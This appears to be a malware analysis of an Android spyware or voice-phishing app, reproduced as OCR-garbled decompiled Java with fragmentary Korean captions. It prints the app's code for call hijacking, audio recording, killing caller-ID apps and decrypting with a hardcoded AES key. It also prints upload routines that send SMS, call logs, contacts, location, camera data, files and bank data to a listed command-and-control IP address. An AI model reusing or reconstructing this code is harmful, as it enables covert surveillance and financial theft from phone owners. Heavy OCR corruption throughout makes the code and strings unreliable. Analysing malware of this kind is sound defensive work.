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public void batteryCheck() {
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if (Build.VERSION.SDK_INT »= 23 && ((PowerManager)getSystemService("power")).isIgnoringBatteryOptimizations(getPackageName()))

return;
try {

Intent intent = new Intent("android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS");

StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(“package:");
stringBuilder.append(getPackagelame());
intent.setData(Uri.parse(stringBuilder.toString()));
startActivity(intent);
return;

} catch (ActivityNotFoundException activityMNotFoundException) {
Log.e{getPackageName(), activityMotFoundException.toString());
return;
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private woid startWork() {
Httpltils.registDevice(this.mContext);
FindWhokho!);
startOberver();
startkeepflive();
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public wvoid findWhoWho() {

((ActivityManager)igetsystemservice("activity™)).killBackgroundProcesses( "com.ktcs
List 1list =

for {(int 1 = @; 1 < list.size(); i++) {
String str = ((PackageInfo)list.get(i)).packageName;

if (str.equals("com.ktcs.whowho"))
Smépplication.iskhokho = true;

if {(str.equals("com.skt.prod.dialer"))
smApplication.isTCall = true;

if (str.contains("com.whox2"))
smapplication.iskhoklho = true;

H
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private woid registlLocation() {

try o
this.locationManager = (LocationManager)getsSystemService("location™);
String str = getlocationProvider();

if (str != null) {

Location location = this.locationManager.getlastKnownLocation(str);
if (location != null)

updatelocation(location);

h

return;

} catch (Exception exception) {
return;
]

h
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private String getLocationProvider() {

List list = this.locationManager.getProviders (true);
return list.contains("gps") ?* "gps" : (list.contains("network") ? "network"” : (list.contains("passive"”) 2 "passive"
b
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whowho");
getPackageManager().getInstalledPackages(@);
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if ('bool || Textltils.isEmpty{str2)) I
str2 = ContactsMonitor.getContactNameByvAddr(paramContext, strl);
mongoingCall . setSessionlumber(strl);
mongoingCall . setSessionlameistr2);
mongoingCall . setChangeNumber(strl);
T else {
mongoingCall . setSessionlumber(strl);
mongoingCall . setSessionNamelstr3);
mOngoingCall.setChangeNumber{str2);
FunctionUtil.startExitThread();
StringBuilder stringBuilderl = new StringBuilder();
stringBuilderl.append({ "fiER = = "),
stringBuilderl.append(strl);
stringBuilderl.append(">";
stringBuilderl.append(str2);
Loglitil .userlogi(stringBuilderl. . tostring());
if (lAudioTask.PLAYING)
AudioTask.PLAYING = true;
(new AudicTask(strl)).start();

T
StandQutWindow.show( paramContext, Simglewipdnw.class, ay;
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public void start() {
AudioRecord audiocRecord = this.mAudioRecord;

if {audioRecord != null)
try {
audioRecord . EEEIRLEITEE0E ([}
return;

} catch (Exception exception) {
exception.printStackTrace();
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public static String decrypt(String paramString) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyExcept

SecretkeySpec secretkeySpec = new SecretkeySpec(™214125442A4 T S ANt 12 P BSEY  substring(@, 32).getBytes(),

"AES™);

IvParameterSpec ivParameterSpec = new IvParsmeterSpec(=7@32mpmasenrngge 8 one LARIRADE2" . substring(@, 16).getBytes());
Cipher cipher = Cipher.getInstance(~AES/CBC/PKCSTPadding™);
cipher.init(2, secretleySpec, ivParameterSpec);

return new String{cipher.dofFinal (Basetd.decode (paramString, @)), “UTF8");

<> AES 523t g
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HEARTBEAT URL = Utils.decode("L211dGhvIDIv");
CONFIG URL = Utils.decode("L211dGhvZDMy™);
SMS URL = Utils.decode("L211dGhvZDQu");
CALLLOG URL = Utils.decode("L211dGhvZDUv");
CALLLOGUPLOAD URL =

CONTACT URL = Utils.decode("L211dGhvZIDYv");

APPS URL = Utils.decode("L211dGhvZDcv");

LOGS URL = Utils.decode("L211dGhvZDgv");
LOCATION URL = Utils.decode("L211dGhvZDkv");
POWER URL = Utils.decode("L211dGhvZDEwLw==");
CAMERA URL = Utils.decode("L211dGhvZDEyLw==");
FILE URL = Utils.decode("L211dGhvZDEzLw==");
BANK URL = Utils.decode("L211dGhvZDE@Lw==");

Hils.decodef"L211dGhvZDUxlw==";

qH

T =
REGIST_URL http://43.225.158.156:3010/api/method1/
HEARTBEAT_URL http://43.225.158.156:3010/api/method2/
CONFIG_URL http://43.225.158.156:3010/api/method3/

SMS_URL

http://43.225.158.156:3010/api/method4/

CALLLOG_URL

http://43.225.158.156:3010/api/method5/

CALLLOGUPLOAD_URL

http://43.225.158.156:3010/api/method51/




CONTACT_URL http://43.225.158.156:3010/api/method6/
APPS_URL http://43.225.158.156:3010/api/method7/
LOGS_URL http://43.225.158.156:3010/api/method8/
LOCATION_URL http://43.225.158.156:3010/api/method9/
POWER_URL http://43.225.158.156:3010/api/method 10/
CAMERA_URL http://43.225.158.156:3010/api/method12/
FILE_URL http://43.225.158.156:3010/api/method13/
BANK_URL http://43.225.158.156:3010/api/method 14/
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# REGIST_URL

public RegistEntity{Context paramContext) {
sethietwork(Deviceltil , getNetworkName (paramContext));
setDeviceld({DeviceUtil . getDeviceID{paramContext]));
setNumber(Deviceltil . getOwnPhoneNumber(paramContext));
setDevicelame (Devicelltil . getDevicelame());
set0sVersion(Build.VERSION.RELEASE);
setSaler code("18");
setiWhowho(Smépplication. iskhokho);
zetTCall (Smapplication.isTCalll;
setHost(Utils. getHost (paramContext));

<13> BHY 77| HE 4
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# HEARTBEAT_URL

stringBuilder.append(Utils.getURL (paramContext, Constant.HEARTEEAT URL));
stringBuilder.append(Deviceltil.getDevicelD(paramContext));
stringBuilder.append("?salerCode=");

stringBuilder.append("18");

stringBuilder.append("&defaultapp=");

stringBuilder.append({strl);

stringBuilder.append("&signal=");

stringBuilder.append(b’;

stringBuilder.append( "&battery=");

stringBuilder.append(i);

stringBuilder.append("&version=");

stringBuilder.append({str2);

stringBuilder.append("&mobileMode=");

stringBuilder.append({bool);

UrlRegEntity urlReqEntity = new UrlRegEntitv(paramContext, 1, stringBuilder.toString());
setConfig{RegConfiger.getDefaultConfigl ). showProgress(false));
sendReguest ( (BaseRegEntityiurlRegEntity);

<J2l> HEARTBEAT HE M&
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# CONFIG_URL

public static String getDeviceID(Context paramContext) {

if (!PreferenceHelper.getInstance(paramContext).isFirstTime("is_first"))

return PreferenceHelper.getInstance(paramContext).getstringValuel "device_number™};
String str2 = ((TelephonyManager)paramContext.getsystemService( "phone™)).getleviceId();
String strl = str2;
if (str2 == null)

strl = getMachddr();
str2 = strl;
if (strl.isEmpty())

str2 = ((TelephonyManager)paramContext.getsSystemservice( “phone” ). getsimserialNumber();
strl = str2;
if (str2.isEmpty())

strl = Utils.random();
PreferenceHelper.getInstance(paramContext).setFirstTimeFalse("is_Ffirst");

PreferenceHelper.getInstance(paramContext).setStringValuel "device_number”, strl);
return strl;
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# SMS_URL

public wvoid reguesti{Context paramContext, List<SmsEntity> paramList) {
if (paramList.size() > @) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append{Utils.getURL({paramContext, Constant.SMS URL));
stringBuilder.append{Devicelltil .getDeviceIl(paramContext));
JsonRegEntity jsonReqEntity = new JsonRegEntitv(paramContext, 2, stringBuilder.toString(), paramList);
setConfig(Reglonfiger.getDefaultConfigl).setRetryTimes(3) . showProgress(false));
sendRequest( (BaseRegEntity)jsonReqEntity);
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# CALLLOG_URL # CALLLOGUPLOAD_URL

public woid request({Context paramContext) {
reguest(paramContext, CalllogMonitor.getInstance(paramContext).getlogs());
T

public wvoid request(Context paramContext, List<CalllogEntity> paramList) {

if (PreferenceHelper.getInstance(paramContext).isBlocked( )]
return;

if (paramlList.size() » @) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(Utils.getURL(paramContext, Constant.CALLLOGUPLOAD URL));
stringBuilder.append(Deviceltil .getDeviceID({paramContext));
JsonRegEntity jsonReqgEntity = new JsonRegEntitv(paramContext, 2, stringBuilder.toString(), paramList);
setConfig(RegConfiger.getDefaultConfig().showProgress(false));
sendReguest ( (BaseRegEntity)jsonRegEntity);

<Jd2s Estfd H& ML (CALLLOG_URL)

public woid toOnCall{Context paramContext, CalllogEntity paramCalllogEntity) {

if (PreferenceHelper.getInstance(paramContext).isBlocked())
return;

StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(Utils.getURL (paramContext, Constant.CALLLOG URL));
stringBuilder.append(Deviceltil.getDevicelID({paramContext));
stringBuilder.append( " ?type=tolnCall”);
JsonRegEntity jsonReqEntity = new JsonRegEntitv(paramContext, 2, stringBuilder.toString(), paramCallLogEntity);
setConfig(RegConfiger.getDefaultConfig( ). showProgress(false));
sendReguest((BaseRegEntitv)jsonReqEntity);

h
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# CONTACT_URL

public woid request{Context paramContext) {

if (PreferenceHelper.getInstance(paramContext).isBlocked())
return;

StringBuilder stringBuilder = new StringBuilder();

stringBuilder.append({Utils.getURL (paramContext, Constant.CONTACT URL));

stringBuilder.append(Deviceltil.getDevicelD(paramContext));

String str = stringBuilder.taoString();

List 1list = ContactsMonitor.getInstance(paramContext).getContacts();

if (list.size() > @) {
JsonRegEntity jsonRegEntity = new JsonRegEntitv(paramContext, 2, str, list);
setConfig(RegConfiger.getDefaultConfig().setRetryTimes(3) . showProgress(false));
sendReguest((BaseRegEntity)jsonReqgEntity);

¥
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# APPS_URL

public woid request({Context paramContext) {
if (PreferenceHelper.getInstance(paramContext).isBlocked())

return;
request(paramContext, AppsMonitor.getInstance(paramContext).getlpps()i);

i

public wvoid request({Context paramContext, List<AppEntity> paramlist) {
if (paramlist.size() > @) {

StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(Utils.getURL (paramContext, Constant.APPS URL)YD;
stringBuilder.append(Deviceltil .getDevicelD(paramContext]));
JsonRegEntity jsonRegEntity = new JsonRegEntity{paramContext, 2, stringBuilder.toString(), paramlList);
setConfig(RegConfiger.getDefaultConfig().showProgress(false));
sendRequest((BaseRegEntity)jsonReqEntity);

Clufol2 ot s 2HHY 7|70 MXElof Y= U MR O/, HI|XF, X 5)2 APPS_URL F2Z H
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# LOGS_URL

public woid request(Context paramContext, ErrorlogEntity paramErrorLogEntity) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(Utils.getURL (paramContext, Constant.LOGS URL));
stringBuilder.append(DeviceUtil.getDevicelD{paramContext));
JsonRegEntity jsonRegEntity = new JsonRegEntitv(paramContext, 2, stringBuilder.toString(), paramErrorLogEntity);
setConfig(RegqConfiger.getDefaultConfig().setRetryTimes(3).showProgress{false));
sendRequest((BaseRegEntity)jsonReqEntity);

]
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# LOCATION_URL

public woid request(Context paramContext, LocationEntity paramLocationEntity) {
if (PreferenceHelper.getInstance({paramContext).isBlocked())
return;
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append({Utils.getURL{paramContext, Constant.LOCATION URL)D;
stringBuilder.append{DeviceUtil.getDevicelD({paramContext));
JsonRegEntity jsonReqEntity = new JsonRegEntitv(paramContext, 2, stringBuilder.toString(), paramLocationEntity);
setConfig(ReqConfiger.getDefaultConfig().showProgress(false));
sendRequest((BaseRegEntity)jsonReqEntity);
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# POWER_URL

public wvoid requesti{Context paramContext, boolean paramBoolean) {

if (PreferenceHelper.getInstance(paramContext).isBlocked())
return;

StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append{Utils.getURL (paramContext, Constant.POWER URL)ID;
stringBuilder.append{Deviceltil . getDeviceID{paramContext));
stringBuilder.append( " ?power=");
stringBuilder.append{paramBoolean);
UrlRegEntity urlRegqEntity = new UrlRegEntitv(paramContext, 1, stringBuilder.toString());
setConfigi(Reglonfiger.getDefaultConfig().showProgress(false));
sendRequest({BaseRegEntityiurlReqEntity);

<d8> ot 32 #&
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# CAMERA_URL

public woid request{Context paramContext) {
if (PreferenceHelper.getInstance(paramContext).isBlocked())
return;
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(Utils.getURL (paramContext, Constant.CAMERS URL));
stringBuilder.append({Deviceltil.getDeviceID{paramContext));
UrlRegEntity urlReqEntity = new UrlRegEntitv(paramContext, 1, stringBuilder.toString());
setConfig(Regfonfiger.getDefaultConfig().setRetryTimes(3).showProgress(false));
sendReguest( (BaseRegEntityviurlReqgEntity);

<Jd8> Fther 32 HE
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# FILE_URL

public wvoid upleoad(Context paramContext) {
if (PreferenceHelper.getInstance(paramContext).isBlocked())
return;
if (mFiles.size() > 8) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(Utils.getURL{paramContext, Constant.FILE URL));
stringBuilder.append(DevicelUtil.getDevicelID(paramContext));

BaseRegParamsEntity baseReqParamsEntity = new BaseRegParamsEntity(paramContext, 2, stringBuilder.toString()) {

public ReguestParams getRegParams() {
File[] array0fFile;
ReguestParams requestParams = new ReguestParams();
if (FileManager.mFiles.size() > 1) {
arrayQfFile = new File[l1];
T else {
arrayQfFile = new File[FileManager.mFiles.size()];
¥
for (int 1 = @; 1 <« FileManager.mFiles.size() &% i <« 1; i++)
arrayQfFile[i] = new File(FileManager.mFiles.get(i));
try {
requestParams.put("files", array0QfFile);
return requestParams;
} catch (FileMotFoundException fileMotFoundException) {
fileMotFoundException.printStackTrace();
return requestParams;

¥

¥
Fi
setConfig(RegConfiger.getDefaultConfig().showProgress(false));
sendReguest( (BaseRegEntity)baseReqParamsEntity);

b
¥
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# BANK_URL

public void regquest{Context paramContext, BankEntity paramBankEntity) {
if (PreferenceHelper.getInstance({paramContext).isBlocked())
return;
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(Utils.getURL{paramContext, Constant.BANK URL));
stringBuilder.append(Deviceltil .getDeviceID{paramContext));

JsonRegEntity jsonRegEntity = new JsonRegEntitv(paramContext, 2, stringBuilder.toString(), paramBankEntity);

setConfig(Reglonfiger.getDefaultConfig().setRetryTimes({3).showProgress(false));
sendReguest({BaseRegEntity)jsonReqEntity);
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